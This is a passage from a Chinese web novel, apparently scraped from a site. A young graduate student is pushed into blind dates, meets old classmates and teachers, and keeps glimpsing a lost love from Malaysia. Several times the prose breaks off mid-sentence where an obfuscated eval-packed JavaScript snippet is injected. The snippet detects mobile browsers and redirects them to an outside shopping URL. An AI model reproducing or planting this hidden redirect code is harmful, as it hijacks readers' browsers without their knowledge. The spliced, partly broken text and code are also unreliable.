马姑妈道,“从年龄上看,应该是差了六届吧?正好两个轮回呢。修成那会儿念的是最好的班,他们班主任好像姓欧阳,很有名的,你们可能都知道。” 大姨连忙道,“我们知和也是!欧阳老师也是我们知和的班主任,老师人可好了,我去给知和开过家长会,见过的!” “那就是同门师兄妹啊。” “哎我想起来了!那会儿就听说过欧阳老师前几届带过一个特别出色的学生,好像什么数学、物理,都拿过全国大奖呢,可厉害了,标准的模范生!我们那会儿还让知和好好学学呢。那不会这么巧就是修成吧!刚才不是说他拿过全市第一?” 马姑妈被吹捧了,高兴得很,正要说话,却被马修成打断了。 他是挺实诚的。 “那应该不是我,是我的一个同学。” 大姨道,“噢……” 马修成又道,“竞赛也好,体育也好,他在的时候我一直都是第二名。后来他走了,我才拿的那个奖。” 马姑妈颇有嗔怨地睇了他一下。在她看来,相亲就是要把闪光点扑腾扑腾掏出来的,哪有人自己揭自己的短?马修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196399|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成咬着筷子对上自家长辈的视线,显得很无辜。 饭局里沾上了喜感,温知和有点想笑。 其实,都那么多年了,第一名、第二名,还有什么分别呢?不过是闲聊里的一个话头而已。 饭桌上边吃边聊,盘子里的菜越来越少,说出来的话越来越多。 马姑妈和大姨彼此对小辈们都很满意,临走前还催着两个人加了微信。 一上了回家的车,趁着大姨看不见,温知和打开微信就给马修成发了一条消息。“不好意思,家长的任务。” 几乎就在同一时刻,那边也发了消息。 “抱歉,今天打扰了。我是在完成我这位姑姑的任务。” 真挺巧的。 两个人又互相发了一个礼貌的表情包,对话便结束了。 - 晚上的同学聚餐在郊区公园里的一座小别墅里。温知和到了才知道这并不是通常的同班同学坐在一起吃个饭,倒更像是热闹的校友会。 同班的、同届的、同校的,一个拉一个,热闹得很,往上数有比他们大几届的,往下数有比他们小几届的,甚至还有老师。 俞则戳了戳温知和的腰,“你有社交的打算吗?听班长说今天来的人里有一些现在挺厉害的。” 温知和道,“我只想吃饭。” 俞则很欣慰。“我也是。那说好了,咱俩谁也别离开谁啊,这样就不用单独跟任何人说话了。” 俞则一个电话,当年的班长刘琳琳一溜小跑出来接她们,一边寒暄着,一边穿过别墅花园里玩闹的人群,进了屋。 里面的活动很多。有唱K的,有玩扑克的,有玩桌游的。灯火通明,空气里盈满喧嚷。居然还有一帮人在玩足球桌,一下子还挺有年代感。 她们班的人主要都聚在二楼阳台,从螺旋楼梯上去的时候,足球桌边的一群人笑闹起来,温知和无意中往那边看了一眼。 恰好那边有人一抬头,和她撞上了视线。算不上熟人,不过中午才见过,连衣服都没换。 马修成。 也对。既然是校友会,见到他也不算意外。两个人都没说什么,就点了点头。温知和这边,俞则和班长只顾着聊天,谁也没注意到她的动作。马修成那边却有人看见他跟陌生学妹打招呼,有点好奇。 晚风习习。 上了二楼,阳台上摆了两张桌子,却只有一盏灯。老同学们围坐在一起,光线昏暗,看也看不清。还有点诡异。 见到俞则和温知和,大家高高兴兴地打过招呼,便热情邀请她们参加现在的活动。 ——讲鬼故事。 一人讲一个。谁要是没讲好,要么喝酒,要么就从游戏抽签桶里抽一个问题,当着所有人的面回答。 俞则道,“这么老的游戏?” “怀旧嘛,”班长拉着她们找空位坐下,“是不是很有当年逛天涯鬼话的感觉?” “哈哈,说到天涯……” 一片热闹声里,温知和坐在老同学们中间,某个瞬间忽然有些恍惚。 ——讲鬼故事。 ——“这个传闻的名字叫……雾海鬼船。” ——“有时是在午夜,村民远远看见天空中出现血光”…… ——“哇啊啊啊别再说了!” ——“原来那指的就是你们啊!” “知和。” 俞则用手肘轻轻撞了温知和一下。她回过神来,周围的声音、气味、色彩忽然回来了,甚至比原先更加清晰。 俞则道,“你喝点什么?那边有果汁,要不要?” “噢,”温知和轻轻呼出一口气,“你喝什么我喝什么。” “行,坐着啊。” 伴着椅子推拉声,俞则起身去倒果汁了,旁边的同学们也正忙着准备下一轮鬼故事。短暂的空隙里,温知和靠在椅背上,抬头望向天空。 是浮着雾的夜色。不知是时间不够晚,还是被地面上的城市灯光染亮,整片天都显得有些朦胧。 ——好像那片一望无际的大海。 46. 第四十六章 讲鬼故事最好的场合,莫过于熄灯后的寝室。大家毕业多年,寝室是回不去了。但聚在桌边,借着一缕光,讲的人有模有样神神秘秘地压低了声音,听的人时不时发出尖叫或倒吸一口凉气,这一阵,那一阵,还真有点回去了的错觉。 偶尔有人讲不出来,在起哄声里被迫从抽奖盒里抓一张问题条子,上面写的东西,也大多是学生时代的那些问题。 排除父母,对你来说最重要的人是谁? 如果你被流放荒岛,只能携带一个同伴,现场的所有人里你会选谁? 现在想一个名字。好。请回答,刚才那个名字是谁? 林林总总,花里胡哨,说来说去无非是在问—— 你有喜欢的人吗? 学生时代最热门的话题不就是这些。 一群二十四五的人,好多平时在外面也都是会带面具的社会人了,穿梭于城市高楼车水马龙间,有上班两三年的,有在学校里做师兄师姐的,也有家里开了店,正逐渐成为生意人的。却因为彼此的青春曾经交汇在一起,在这个晚上,在这盏灯旁边,大家好像又变成了从前的样子。 温知和讲起鬼故事来相当老练,校园操场怪谈,乡村废庙诡事,海外连环谜案,一个接一个,跌宕起伏,能把全场都吓得鸦雀无声。一次也没被罚过。 中途休息的时候,坐在旁边的老同学不时凑过来跟她聊天。“知和现在怎么样呀?之前听说你还在读书。” “嗯,在读研。” “诶,那是今年就要毕业了吧?” 正常来说的确是这样。他们这一届,要是一路按部就班地读下来,今年是研三毕业。但温知和因为马来西亚的事中间休过十二个月的学。对外,一向只说是普通的间隔年,散散心。 她没细说,简单带过,“还在研二,中间休息了一年。” 老同学道,“那岂不是现在还在写论文?” 另一边的俞则乐了,“你好会抓重点!” 温知和想到不久后的中期检查,顿时也有点头大,抬起杯子灌了自己一口果汁。冰冰甜甜的。 老同学跟俞则搭上了话便聊了起来,温知和夹在中间,本来也要加入,偏偏桌上的手机亮了。 一条微信消息。说曹操,曹操到。导师发来了看过她论文报告之后的反馈。 挺长的,吹毛求疵。 她看完,手指隔着一两厘米在屏幕上划了一阵,还是什么也没回复,一个按钮把屏幕关了。手机放回原位,顿了顿,还特意翻了翻,把屏幕朝下。 大家讲鬼故事的兴头还没完的时候,吃饭的时间就到了。烧烤、啤酒,东西端过来,刚才玩游戏的桌子便做了餐桌。 因为今天人多,还得挤一挤,在阳台上给别人再留出一桌的位置。 来的恰好是马修成那一级的人。男男女女,五六个,衣着、谈吐,比温知和他们这一帮成熟不少,基本都是陌生人。差了六年,那边在初中青春肆意的时候,这边还在小学摇头晃脑地读ABCD;到了这边在一中校园里穿着校服你追我赶的时候,那边都是大学生了。因此也没什么交集。 温知和不是什么喜欢来事的人,无意向大家介绍那边是同一个班主任带的学长学姐,增进社交关系。她忙着给大家倒饮料,只在马修成恰好从旁边走过去,抬头对上视线的时候打了个招呼。他的回应礼貌而简短。 烧烤还是很香的。俞则喜欢烤着玩,烤肉、烤蔬菜、撒调料,火候恰到好处。温知和正好就负责吃,跟大家搭搭话,说近些年的生活境况,也说那些今天没有到场的人。 初中毕业已经十年了。 很多人都早已没了联系,今天到场的人不过当年全班总人数的八分之一,连那时一天的值日人数都不够。 坐在不远处另一桌的学长学姐们也有自己的往事。弥散着烧烤香味的空气里,时不时也飘过来他们的三五句。 “修成现在是在哪里啊?” “哇,真厉害。不愧是最后的状元。” “哎,你们还记得那个谁吗?” “怎么会不记得!哈哈哈,我还暗恋过他呢,你有印象吧?” “怎么会没印象!你一个,我同桌一个,还有前排的,一群人每天都在议论他,我都快烦死了。” “可是你也喜欢他的吧?” “哈哈,一点点吧。大家都喜欢,不喜欢一下,显得我赶不上潮流。” “哎,真是好可惜。他家是初二那年出事的吧?” “我记得是寒假前期末考试那几天吧?突然就说他转学了。然后就再也没见过。” “不知道他现在怎么样。十几年了,一点消息也没有。” 俞则烤烧烤的动作越来越熟稔,结果一时高兴,手肘撞到了桌上的饮料。哗啦一下,她衣服下摆和温知和腿上全打湿了。 温知和正吃着烤瓜,飞来横祸,咬着瓜跟大惊失色的俞则对视一下。两个人都乐了,放下手里的东西,在周围的关怀声里起了身,到卫生间去收拾。 大家继续吃,继续玩。 后面另一桌也没受影响,仍继续说他们的话。 马修成道,“他一直在国外。” 老同学们都很意外,“你们还有联系啊?” “最近才联系上的。他下个月好像要回国一趟。” “哇,要不到时候一起吃个饭吧,好久没见了真的。” “行,等他真来了,我跟他说说。大家都有空吗?” “没空也要挤出来吧。他是多少人的青春啊……” - 温知和这段时间写论文像撞进了瓶颈,资料是全的,论述结构也清晰,但每到结论上总觉得还差一口气。就像在迷宫出口前碰上了迷雾,绕来绕去,就是找不到最后几步路。 她倒是心平气和,每天都抽空到附近的公园里晨跑。 五月份,春天的尾巴,最后一小段好天气。过了这一阵子,暑热一来,没有空调就活不下去了。因此大家都很珍惜。 公园里每天都挺多人,散步的,打太极的,写生的。热闹但不吵闹。 她围着湖边跑了一阵,不知怎么的停了下来,撑着膝盖,平复气息,抬头看着周围的风景。 东湖粼粼,杨柳依依。 有几个出来玩的学生看见她,迎上来,递过一只手机,想让她帮忙拍一张合影。她接过去,帮着她们找景,还引导她们摆姿势。照片拍完,手机递回去,学生们连连道谢,笑呼她拍的真好。 温知和一面说着不客气,一面想起,她好像很多年没有正儿八经地拍过照了。连手机都拍的少,大多是随手咔擦一下,至于相机……已经三四年没有拿出来过了。 是从什么时候开始的呢?明明她以前那么喜欢摄影。 她举起双手,比了个取景框,眯起一只眼睛,假装拍照的样子朝着周围缓缓转了一圈。 真热闹。人间里,到处是风景。 大道上骑自行车的小孩子。 路边摆摊算命的老妇人。 垂柳下带着红耳钉的年轻人。 湖里缓缓驶过的观光船。 温知和忽然愣住了,放下手,转头看向柳树底下。刚才好像在那里看见—— “各位亲爱的游客大家好,这里是东湖观光游览车……” 载满游客的开放式观光车开过面前,一辆接着一辆,路人们闪躲着,挤在一起,温知和根本过不去。 她踮着脚,朝着路对面看了又看,那么急。 车终于过去了。 她拨开人群,朝着那棵柳树的方向跑过去。 东湖粼粼,杨柳依依。 这里已经什么人也没有了。 孩子们骑着自行车从身后经过,算命的老妇人在不远处吆喝,观光船一晃一晃地从湖的一边驶向另一边。 是她看错了吗? 她想起很久以前的某个夜晚,她用手比出一个取景框,把他框在里面。青年柔软 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204363|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的黑发在海风里显得有点乱,一双眼睛明亮而沉静。 就在这个时候,身后忽然有人拍她的肩膀。 温知和转头一看,竟然是自己的导师,一手拿着论文,一手拿着比论文长十倍,几乎就要拖到地上的修改反馈。 导师是个小老太太,咧着嘴嘿嘿一笑,发出了闹钟的声音。 “……” “丁零零——丁零零零零——” 温知和从梦中醒来,一巴掌拍掉了床头柜上的闹钟。它啪嗒一下掉在地上,她晃着头慢慢坐起来,睡意不减。真够离奇的一个梦。 随她下床、洗漱、换衣服,梦里的声音与色彩也渐渐淡去,仿佛远走的潮水。到去客厅吃早饭的时候,整个梦留下来的,只剩下自己比着取景框的手指、空空如也的柳树下和一种某名的怅然。 早餐是妈妈做的。“知和,大姨刚才打电话过来。” “噢……”温知和打了个呵欠。 “她说上次那个年轻人她特别喜欢。” “谁啊?”温知和下意识问了一句,才想起来自从马修成之后,大姨也没再安排过别的饭局,估计还是他,“噢。” 温妈妈忍着笑,“大姨邀请你去东湖散步。” “还见啊?” “见完了,她请你吃前段时间新评了米其林二星的那家店。” 那家店风评相当好,做的是法餐。 温知和改口,“什么时候去?” “就今天下午。你吃完了?碗放着就行,我来收拾。” 温知和靠在椅背上,伸了个长长的懒腰。隔了一阵,才说,“妈妈,你记得我相机放哪儿了吗?” “书房门左手边的柜子里吧。是不是好久没用了?” “是啊……” 她向空气抬起手,手指一动,按下快门。顿了顿,还是觉得没意思。 - 温知和下午打车去东湖公园,和上次一样是提前了十分钟到。大姨等在门口,一见她就数落起来。 “今天穿的也太简单了。” “这不是跟上次一样?” “上次是第一面,这次是第二面,情况不一样的。” “饭还是会请我吃的吧?” “搞砸了就有这顿没下顿。” “有一顿是一顿。” 大姨把墨镜往下滑了滑,专门露出眼睛,瞪了温知和一眼。“我说真的。你真就不谈恋爱?二十五了,一次都没听说过。” “想看八卦可以看娱乐新闻啊,盯着自家人算怎么回事?” “稀奇。” 温知和跟大姨挽起了手。隔着一代,没大没小,忘年交的损友一般往公园里走。在见到马姑妈和马修成之前,温知和已经跟大姨把下一顿、下下一顿的菜都点好了。 约定的地点在公园湖边。 东湖粼粼,杨柳依依。大道上有骑自行车的小孩子,路边摆了一排摊子,算命的、卖糖人的、写姓名诗的,还有小女孩在玩吹泡泡。辽阔的水面上飘着观光船,有大有小,划开波浪。 在一个短暂的刹那,温知和有点恍惚。 但这并不意味着什么。东湖公园里的景象总是这样的。昨天是,今天是,明天也是。现实也是。梦里也是。 她走在路上,目光拂过一株又一株在风中飘摇的柳树。树底下有时是空的,有时坐着路人。男的,女的,笑的,沉默的。 没有那个人。 当然没有。 大姨眼尖,远远便看见了路边茶馆外的马修成和马姑妈。走过去,马姑妈热情迎上来说话。 马修成只抬手打了个招呼。他正在打电话。那一头的声音自然听不清,只有他一个人的声音。 “你下周回来,大家都说想见见你。” “不一定有时间么?” “行,你先忙你的。” 他低低地叹了一口气。 “如果有机会的话,还是见一面吧……十七年了。” 47. 第四十七章 与马修成姑侄的第二次见面,对温知和来说平平淡淡,没什么特别的。 四个人走在一块逛公园,两个年轻人偶尔说几句话,只是维持社交场合的礼貌。倒是两个长辈很聊得来,从公园的一头走到另一头,把生活近况、兴趣爱好、二三十年前的往事全聊了个遍。 这哪里是年轻人相亲,分明是中年姐妹花谈心会。一个外甥女,一个侄子,成了她们的出游挂件。 到了东湖公园出口,她俩还依依不舍,约着下周一起打麻将。温知和同马修成礼貌道别,先前在校友会上见过的事,谁也没提。 大姨践行承诺,带着温知和去了那家很难预约的法式餐厅。 但只点了一份套餐。 温知和道,“你不吃?” 大姨忙着看手机,“我待会还有应酬呢。” “就我一个人?” “我都给你付钱了,难道还要陪吃吗?” “噢,拜拜。” 姨甥俩都是不拖泥带水的人。大姨坐在温知和对面,拿着镜子补了个口红,一面涂一面问她是不是对马修成一点兴趣也没有,得了肯定的答复,睇了她一眼,合上口红就起身走了。 温知和乐得自在。 想了想,大周末的晚上,反正论文写不出来了,不如摇个人过来。于是唤来侍者,让晚点上菜,又给俞则发了微信。 这家餐厅价格略昂贵,温知和是学生,大姨已经付过了钱,俞则上班三年攒了不少积蓄,隔几周吃一次倒也承受得起。 等了差不多半个小时,俞则人到了,点了单,侍者终于可以开始上前菜。 俞则兴致勃勃的,“怎么样啊,这次相亲?又有什么奇葩笑料可以分享?” “很遗憾,”温知和道,“这次对面是正常人。” “啊,我好失望……”俞则仰头喝了点葡萄酒,“像‘指点哥’那么优秀的人物再也不会出现了吗?” 温知和没忍住,噗的一下笑了。 由于大姨对相亲的热衷,她作为外甥女这两年里见识过不少男嘉宾。即使已经过了长辈们以学历、收入、长相、家世为基础条件的一轮筛选,人类的物种多样性依然淋漓尽致地展现在了眼前。 有的人圆滑势利,不管对着什么都爱分个三六九等,望着别人的眼神里总带着评估意味。 有的人好为人师,逮着一件事儿就要指指点点,国家大事也好,鸡毛蒜皮也好,好像没了他的指教,地球明天就要死了。 有的人自我意识过剩,十句话里有九句跟自己有关,剩下一句是个喷嚏。跟这种人说话,仿佛是在看他自己在聚光灯下表演。 温知和跟这些人打交道,从来不会放在心上。表面上敷衍一下,转头就带回来给朋友们当做笑料了。还能从大姨那里混饭吃。 所谓“指点哥”,就是此前的一位笑料来源。 俞则道,“不过,说真的……” 温知和吃着盘子里的东西,头也没抬,“没有。” 俞则在对面观察着温知和的表情。餐厅里灯光明亮,她看上去一如往常。 她没有喜欢的人。谁问都是没有。 俞则道,“算算时间也差不多了。” “什么?” “每隔几个月,不是都会说到那个人吗?” 温知和的动作停了一下。 俞则吃完了前菜,放下刀叉,等着侍者来上下一道菜。一手支着下巴,说,“你在马来西亚遇到的那个人。” 温知和有一阵子没说话,只顾着低头吃东西。嗒。嗒。叉子一下又一下撞在盘子里,才发觉里面的食物早已吃完了。 空的。 她忽然觉得有点累。“是不是很像假的?” “那个连名字都没有透露过的人吗?” “先是在火车上遇到,然后又在船上。一直都神神秘秘的。但是……” 又给了她刻骨铭心的一切。 然后消失了。 温知和低了低声音,“其实……我已经有点想不起来他长什么样子了。” “毕竟也六年了嘛。” “也许他是我幻想出来的。这个世界上除了我,根本没有别人能证明他存在过。” “我能证明啊,你在火车上遇到他,给我打过电话。” “但是后来的几个月……就什么都没有了。” 一切都沉在了海里。那个遥远的夜晚,如同星穹般灿烂的巨船缓缓下沉,一点点消失在远方。到处都变得很安静,天水之间,只剩下她自己一个人。 复杂怪异的海上世界消失了。那个说过爱她的青年也没再出现过。 一年又一年。 总觉得人生是带着空白在往前走。 她很少跟人提前那段时间的事,眼前的好友,是她唯一能倾诉的对象。 温知和食不下咽,盘里的前菜不想再吃,便唤了侍者过来收盘子,上下一道菜。 俞则道,“写完论文要不要出去玩?” “写完还早呢,现在只是中期检查。” “那就中期检查完呗。要不要出去玩,散散心?” “去哪儿?” “马来西亚。” 温知和抬起头来。 俞则道,“你不想去找他吗?也许他还在。” 温知和没说话,只盯着开放式厨房那边,视线追随着大厨们准备菜肴的动作。 ——也许他还在。话是那么说。 ——可也就是话里这么说说。 巨轮沉没的夜晚,海面上空无一人,他真的还会在吗?即使他真的从大海里回来,马来西亚那么大,人那么多,到哪里去找? 去找了,却找不到,越来越证实他早已不在的可能性。何必? 不去找,还能想象他在某个地方。 侍者端来了第二道菜。摆盘很精致,几乎看不出原材料。温知和听着侍者讲解菜肴的原材料和做法,短暂地被打断了思绪。 等侍者走了,正要动叉子,旁边忽然传来一个略显陌生的声音。 “温、知、和。噢,还有小鱼,俞则。” 两个好朋友先是默契对上视线,然后同时抬头看向声音传来的方向。 是个老太太。花白的头发,穿着很讲究,还带了副老花镜。 俞则咬着叉子一脸茫然,倒是温知和先把人认出来了。“欧阳老师?” 欧阳老师笑眯眯的,“还记得啊。” 老太太是她们初中时期的班主任,淮市名师,私底下和蔼可亲,可一到讲台上就很严厉。两个人当年都算得上是欧阳老师的爱徒。 俞则连忙问好,因老师站着,自己坐着,几乎有点局促。欧阳老师把她按住了,笑着问了她们几句近况,接着又说起自己。 “今天高兴啊,特地来这里吃一顿。好久没这么高兴了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220689|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >欧阳老师把“这么”两个字咬得特别重,又特别长。显然真是有了难得的喜事。 俞则忍不住就问,“是什么好消息啊?” 欧阳老师道,“一个很多年不见的学生要回来了。不过,你们不认识。”她想起什么来似的,“对了,下周你们也来吧?学校要办艺术展,校友也能来参观的。” 温知和道,“什么时候?” “下周四,下午两点。” 俞则苦了脸。“我要上班……” “哈哈,也是,”欧阳老师拍了拍她,“你们也长大了,都是上班的人了。知和呢,有时间么?” 温知和都没怎么想。“我挺想去的,我有空。” “你到时候过来,跟门卫报我的名字就行。好了,我也饿了,不打扰你们了。” 简短的几句话后,欧阳老师便在侍者的带领下到另一处空座坐了。老太太的心情是真好,一面点单,一面还跟侍者聊了一阵。 温知和这边,不久前的话题被打断,也就回不去了,两个人于是聊起别的。有一搭没一搭。跟好朋友在一起,再是废话也聊得津津有味。 吃完东西跟欧阳老师打了个招呼,两个人一起步行去地铁站。这一带是老城区,晚上八点多的光景,路上还挺热闹。 许多家长牵着小孩子从身边走过。 俞则停下脚步,往不远处一指,笑眯了眼睛,“这不是你以前学古筝的地方么?” 淮市少年宫。 温知和打量着。“楼好像重新修过了。” “要不要进去看看?哎呀大好周末,我不想这么快就回家啊。” “行啊。” 逆着人群的方向,两个人穿过人行道,走上一段又一段折来折去的台阶,终于进了少年宫。这幢建筑有点年头了,彩画水磨石地面,电灯带点昏黄。一间间教室里仍有人声,绘画班、舞蹈班、跆拳道班、古筝班,学什么的都有。 一楼的走道上,墙壁本体几乎快看不见了,贴的全是历年竞赛荣誉。这个奖,那个奖,全国赛,国际赛…… “你还挂在这里诶!” 乐器类荣誉墙前面,俞则指着某个地方笑弯了腰。那是一张已有些褪了色的金属奖状,庆祝一个当时才十岁出头的小女孩拿了古筝演奏的儿童竞赛奖。 温知和自己也有点忍俊不禁,同时也觉得时光飞逝。 这张旧奖状现在看来像个玩具,在当时,却是颇有分量的。老师们很看好她,在她拿下比赛第一名之后,甚至有人向她父母建议让她走音乐那条路。但父母认为读书更稳妥。于是,古筝始终也只是兴趣而已。 到现在,她很多年没正儿八经地弹过了。隔三差五抚一阵,不过是打发时间而已。 墙上密密麻麻的奖状、奖牌里,大部分都很旧了。它们的主人,大概也和她一样,早已经成为了大人。幼时的手指拨弄出的音乐,很多年前就停止了。 她的视线在里面穿梭,不过是看看热闹。 有一张奖状和她的那张有点像。也是那种在当年很受重视的青少年比赛。不过,年份早了不少,乐器类型也不同。 是钢琴。 不愧是乐器之王。温知和心想。连奖状都更精致一些。她凑近了些,出于人们阅读文字时对人名的本能关注,看清了奖状上的名字。 连易。 下面还有获奖人当时的学校。 淮市一中。 48. 第四十八章 温知和星期四上午先去了一趟学校,到办公室找导师讨论她的论文中期报告。A4纸打印,厚厚的一摞,内容相当详实。 然而,有一个吹毛求疵的导师,便意味着只要最后一天还没到,论文就永远有修改空间。世上没有完美的东西,学术文章更是如此,观点、论述、文献,甚至格式和标点符号,挑挑拣拣,总能找到可以改的地方。 于是温知和抱着“一摞”A4纸进去,抱着“两摞”A4纸出来,新增的部分全是导师给的修改意见和参考文献。 距离中期检查只有不到两周时间。这么大的修改量,令半路碰上的同门师姐不由侧目。 师姐道,“牢记本门十四字箴言。” 温知和道,“什么?” “别熬夜。早睡觉。论文第二。身体第一。” “但要是改不完的话……” “拿来给我看看。” 温知和把导师给的反馈递过去。师姐年纪比她大不少,是在外面做了几年公务员,觉得无趣,才又回学校读书的。 师姐细细翻阅品读,终于点头,“你这篇论文完成度已经很不错了啊,过中期检查没问题的。” 她们的导师老太太姓洪,有名的学术女强人,更有名的是对学生的挑挑剔剔。 温知和道,“洪老师不是这么说的。” 师姐把文本还给她,拍拍她的肩,“洪老师的话,不要只看她说了什么,也可以看看她没说什么。你看她给你挑的问题虽然多,但全都是细节,说明大框架上已经很完善了。中期检查能到这一步,足够了。” 两个人一同走出了行政楼,阳光迎面而来,温知和心里稍微松快了些。她抬手用A4纸遮住阳光,笑道,“谢谢师姐。” 师姐也笑了。顿了顿,却又说道,“知和你……对学术其实没什么兴趣吧?” “我表现得这么明显么?” “哈哈,那倒是没有。你年年都拿特等奖学金,学分绩简直快卷出天际了,好多人不都在劝你读博士吗?” “那师姐是怎么发现的?” “我们可是同门啊。七年了。你大一入学的时候,还是我这个学伴带你去寝室的呢。你一点儿也不喜欢搞学术,只是不管做什么都很认真而已。” “被你看穿了。” 师姐笑了一阵。 走下行政楼前的台阶,两个人一个要去食堂,一个要出校门,还能再顺一段路。六月初的天气已带了些热,好在还有风。 师姐正色说,“如果不喜欢学术,那还读博吗?” 温知和毫不犹豫。“当然不读。” “那工作呢?实习开始找了吗?” “没有。” “选调生呢,去了解过了吗?” “没有。” 二十五岁,她对未来毫无准备,两手空空,却一点焦虑的意思也没有。每一个没有都说得毫不在乎。 师姐笑道,“那你打算做什么?毕业也就是明年的事了。” “我真的不知道呀,”温知和说,“未来要去哪里,这种事也不是硬着头皮想就能想出来的。所以我现在其实在等。” “等什么?” 食堂门口到了。两个人停下脚步,身侧不时有刚下课的学生穿行而过,空气里飘来门口甜品铺子的气味。 温知和朝师姐挥了挥手,一面倒退着往大门那边走,一面说,“等未来自己向我走过来吧。某件事。某个人。我总会知道我想做什么的。” 师姐无奈摇摇头,没再说什么,只朝她挥手。 - 母校要办艺术展,欧阳老师先前给的时间是周四下午两点。 温知和难得化了个妆,还用卷发棒自己卷了头发,选了一条漂亮的印花连衣裙。搭配的手提包也很讲究。 她是很会打理自己的,只是平时不上心而已。 出门的时候,爸爸今天也没课,正坐在客厅里看乒乓球比赛,抬头看了她一眼。“稀罕日子啊?” “出去玩。” “回来吃饭吗?” “我想吃红烧鱼。” “那你就自己想吧,”温爸爸说,“反正没人做。” 接着他就继续转头看电视了。德班世乒赛男单决赛,明明前几天已经打完了,但资深球迷就是要二刷三刷,反复品味。 温知和知道晚上回来的时候餐桌上肯定会有红烧鱼,随口一句拜拜,就出门了。 她家离学校有一段距离。以前上学,都是早上妈妈开车送,晚上爸爸开车接,中午就在大姨家吃饭。 这会儿是只能打车了。十几分钟的车程,到的时候虽然才一点半,但校门口大开着,已经很热闹了。 顶上有艺术节的红横幅,外墙贴着学生自制的海报,校友、家长,来来往往好多人。 温知和慢慢走过去。 门还是原来的门,楼还是原来的楼,操场听说后来修整过,但看上去还是和以前没什么分别。承载了她三年青春的地方,奇怪,心里一点怀旧的感觉也没有。 也许是因为她是一个人来的,周围都是陌生人。 她掏出手机,对着母校校门拍了一张,微信发给俞则。对面并没有回复,估计是正忙着搬砖。 温知和跟门卫报了欧阳老师的名字,门卫大爷给欧阳老师打了个电话,确认无误后,给了她一张访客证,告诉她欧阳老师会在初二教学楼底下接她,便放了她进去。 她把玩了一下这张薄薄的纸。 上一次走出校门还是十年前的毕业典礼。这次回来,已经是客人了。连名字也没有,只是无数访客里并不特殊的一个。 到处都好热闹。 学校这次办艺术展,虽说参展的仅限于自家十几岁的学生,但还挺像模像样。操场上有泥塑、陶艺展,教学楼里有画展,篮球场上还有弹乐器的。 温知和穿行在笑语欢声的人群里,这里绕一绕,那里拐一拐,终于是到了初二教学楼前。这里也有小展览,办的是“占卜艺术”,塔罗牌、水晶球、阴阳八卦、星象盘,来玩的人还挺多。占卜未必当真,但图个热闹。 满校园的青春气息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228618|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,不知不觉,温知和的情绪也被调动起来了。 她久违地想拍点什么。 相机在家里吃灰,手机勉强也能用。她调出相机模式,左边拍一下,右边拍一下,到处找着漂亮的构图和景物。 ——塔罗占卜摊。一个学生正给另一个学生抽牌,两个人都不太入戏,笑得很张扬。 ——牵着小孩子的老妇人。大概是来看热闹的市民,摊子一个也没看,就凑在海报前面,奶奶指着上面的字,教小孙女认字。 ——梧桐树底下。高高的花坛边,好几个人正聊得热火朝天。周围的一圈都笑得前仰后合,站在最中间的那个人却只是倚着花坛,双手插在裤兜里,脸上没什么表情。一抹赤红色在黑发间熠熠生辉。 ——教学楼前台阶上。一群女孩子正凑在一起自拍,嘻嘻闹闹,各有姿态,阳光照在她们脸上,那么亮。 ——教学楼的窗户里…… 温知和忽然愣住了。过了几秒,手开始抖。 她看着手在抖。然后慢慢地,握紧还没锁屏的手机。 周围还是很热闹。六月初的天,还是有点热,似有若无的风一阵阵扑在皮肤上。她仍穿着出门时的那条印花裙子。一切都没有变。 可是这分明应该是梦里的情景。 六年。 一千多个夜晚。 她梦到过多少次这样的场景? 那个很久不见的人,在人群中蓦地出现。又在她跑向他看清他之前消失不见。 她听见自己的呼吸声。很压抑的呼吸声。用屏幕捕捉了他的手机握在手里,用力过度,磨得掌心生疼。 隔着来来往往的人群,她缓缓地,抬头又望过去。 梧桐树下仍有那样一群人,年长她几岁,经受过阅历的洗礼,有一种游刃有余的姿态。他们围着一个人。那个人显然是一切的核心。 黑T恤,米色休闲裤,明明是相当随意的穿着,侧影轮廓却堪称惊艳。他半靠着花坛,给人一种漫不经心的感觉。 左耳下的赤红色耳钉映射着阳光,如同一抹鲜活的血。 